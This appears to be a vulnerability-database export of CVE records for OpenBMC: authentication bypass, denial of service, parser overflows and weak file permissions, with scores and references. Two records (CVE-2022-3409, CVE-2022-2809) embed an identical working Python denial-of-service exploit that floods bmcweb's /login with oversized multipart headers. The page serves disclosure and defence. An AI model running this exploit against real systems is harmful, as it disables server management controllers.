"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://openbmc.org"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/openbmc/docs/blob/master/release/release-notes.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable"
],
"url": "https://github.com/openbmc/openbmc/issues/3811"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://openbmc.org"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2021-09-09 18:15
Modified
2024-11-21 06:19
Severity ?
Summary
In OpenBMC 2.9, crafted IPMI messages allow an attacker to bypass authentication and gain full control of the system.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openbmc-project | openbmc | 2.9.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:2.9.0:-:*:*:*:*:*:*",
"matchCriteriaId": "FCEA7190-90D4-4D7A-8DE1-7E4299EC0488",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "In OpenBMC 2.9, crafted IPMI messages allow an attacker to bypass authentication and gain full control of the system."
},
{
"lang": "es",
"value": "En OpenBMC versi\u00f3n 2.9, los mensajes IPMI dise\u00f1ados permiten a un atacante omitir la autenticaci\u00f3n y conseguir el control total del sistema"
}
],
"id": "CVE-2021-39296",
"lastModified": "2024-11-21T06:19:08.620",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10.0,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 6.0,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2021-09-09T18:15:09.097",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"source": "cve@mitre.org",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-287"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
cve-2022-3409
Vulnerability from cvelistv5
Published
2022-10-27 13:09
Modified
2024-09-17 03:33
Severity ?
EPSS score ?
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | OpenBMC Project | OpenBMC |
Version: 2.10 < Release* |
|
|
|||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T01:07:06.708Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "OpenBMC",
"vendor": "OpenBMC Project",
"versions": [
{
"changes": [
{
"at": "2.13",
"status": "unaffected"
}
],
"lessThan": "Release*",
"status": "affected",
"version": "2.10",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Finder: Jakub Rozanski, Intel Corporation"
},
{
"lang": "en",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
}
],
"datePublic": "2022-10-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
],
"exploits": [
{
"lang": "en",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121: Stack-based Buffer Overflow",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-229",
"description": "CWE-229: Improper Handling of Values",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-10-27T00:00:00",
"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"shortName": "OpenBMC"
},
"references": [
{
"url": "https://github.com/openbmc/bmcweb"
}
],
"solutions": [
{
"lang": "en",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "Unauthenticated out of bounds stack write in bmcweb",
"x_generator": {
"engine": "Vulnogram 0.0.9"
}
}
},
"cveMetadata": {
"assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"assignerShortName": "OpenBMC",
"cveId": "CVE-2022-3409",
"datePublished": "2022-10-27T13:09:19.716914Z",
"dateReserved": "2022-10-06T00:00:00",
"dateUpdated": "2024-09-17T03:33:10.105Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2022-2809
Vulnerability from cvelistv5
Published
2022-10-27 13:09
Modified
2024-09-16 18:04
Severity ?
EPSS score ?
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | OpenBMC Project | OpenBMC |
Version: 2.10 < Release* |
|
|
|||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T00:52:59.125Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "OpenBMC",
"vendor": "OpenBMC Project",
"versions": [
{
"changes": [
{
"at": "2.13",
"status": "unaffected"
}
],
"lessThan": "Release*",
"status": "affected",
"version": "2.10",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Finder: Jakub Rozanski, Intel Corporation"
},
{
"lang": "en",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
}
],
"datePublic": "2022-10-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
],
"exploits": [
{
"lang": "en",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-229",
"description": "CWE-229: Improper Handling of Values",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-122",
"description": "CWE-122: Heap-based Buffer Overflow",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-10-27T00:00:00",
"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"shortName": "OpenBMC"
},
"references": [
{
"url": "https://github.com/openbmc/bmcweb"
}
],
"solutions": [
{
"lang": "en",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "Unauthenticated out of bounds heap write in bmcweb",
"x_generator": {
"engine": "Vulnogram 0.0.9"
}
}
},
"cveMetadata": {
"assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"assignerShortName": "OpenBMC",
"cveId": "CVE-2022-2809",
"datePublished": "2022-10-27T13:09:19.424932Z",
"dateReserved": "2022-08-13T00:00:00",
"dateUpdated": "2024-09-16T18:04:08.257Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2021-39295
Vulnerability from cvelistv5
Published
2023-04-15 00:00
Modified
2024-08-04 02:06
Severity ?
EPSS score ?
Summary
In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface.
References
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T02:06:41.646Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://openbmc.org"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/docs/blob/master/release/release-notes.md"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/openbmc/issues/3811"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"tags": [
"x_transferred"
],
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-04-15T00:00:00",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"url": "https://openbmc.org"
},
{
"url": "https://github.com/openbmc/openbmc"
},
{
"url": "https://github.com/openbmc/docs/blob/master/release/release-notes.md"
},
{
"url": "https://github.com/openbmc/openbmc/issues/3811"
},
{
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2021-39295",
"datePublished": "2023-04-15T00:00:00",
"dateReserved": "2021-08-19T00:00:00",
"dateUpdated": "2024-08-04T02:06:41.646Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2021-39296
Vulnerability from cvelistv5
Published
2021-09-09 00:00
Modified
2024-08-04 02:06
Severity ?
EPSS score ?
Summary
In OpenBMC 2.9, crafted IPMI messages allow an attacker to bypass authentication and gain full control of the system.
References
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T02:06:41.542Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"tags": [
"x_transferred"
],
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "In OpenBMC 2.9, crafted IPMI messages allow an attacker to bypass authentication and gain full control of the system."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-14T00:00:00",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"url": "https://github.com/openbmc/openbmc"
},
{
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2021-39296",
"datePublished": "2021-09-09T00:00:00",
"dateReserved": "2021-08-19T00:00:00",
"dateUpdated": "2024-08-04T02:06:41.542Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2020-14156
Vulnerability from cvelistv5
Published
2020-06-15 17:35
Modified
2024-08-04 12:39
Severity ?
EPSS score ?
Summary
user_channel/passwd_mgr.cpp in OpenBMC phosphor-host-ipmid before 2020-04-03 does not ensure that /etc/ipmi-pass has strong file permissions.
References
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620 | x_refsource_MISC | |
| https://github.com/openbmc/openbmc/issues/3670 | x_refsource_CONFIRM | |
| https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T12:39:36.041Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/openbmc/openbmc/issues/3670"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "user_channel/passwd_mgr.cpp in OpenBMC phosphor-host-ipmid before 2020-04-03 does not ensure that /etc/ipmi-pass has strong file permissions."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-06-15T19:51:54",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/openbmc/openbmc/issues/3670"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2020-14156",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "user_channel/passwd_mgr.cpp in OpenBMC phosphor-host-ipmid before 2020-04-03 does not ensure that /etc/ipmi-pass has strong file permissions."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620",
"refsource": "MISC",
"url": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620"
},
{
"name": "https://github.com/openbmc/openbmc/issues/3670",
"refsource": "CONFIRM",
"url": "https://github.com/openbmc/openbmc/issues/3670"
},
{
"name": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html",
"refsource": "CONFIRM",
"url": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2020-14156",
"datePublished": "2020-06-15T17:35:57",
"dateReserved": "2020-06-15T00:00:00",
"dateUpdated": "2024-08-04T12:39:36.041Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2022-35729
Vulnerability from cvelistv5
Published
2023-02-16 20:00
Modified
2025-01-27 18:15
Severity ?
EPSS score ?
Summary
Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access.
References
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T09:44:21.510Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html",
"tags": [
"x_transferred"
],
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2022-35729",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-01-27T17:27:20.613330Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-01-27T18:15:21.307Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "OpenBMC",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "before version 0.72"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "denial of service",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-16T20:00:21.007Z",
"orgId": "6dda929c-bb53-4a77-a76d-48e79601a1ce",
"shortName": "intel"
},
"references": [
{
"name": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html",
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6dda929c-bb53-4a77-a76d-48e79601a1ce",
"assignerShortName": "intel",
"cveId": "CVE-2022-35729",
"datePublished": "2023-02-16T20:00:21.007Z",
"dateReserved": "2022-07-22T03:00:26.828Z",
"dateUpdated": "2025-01-27T18:15:21.307Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}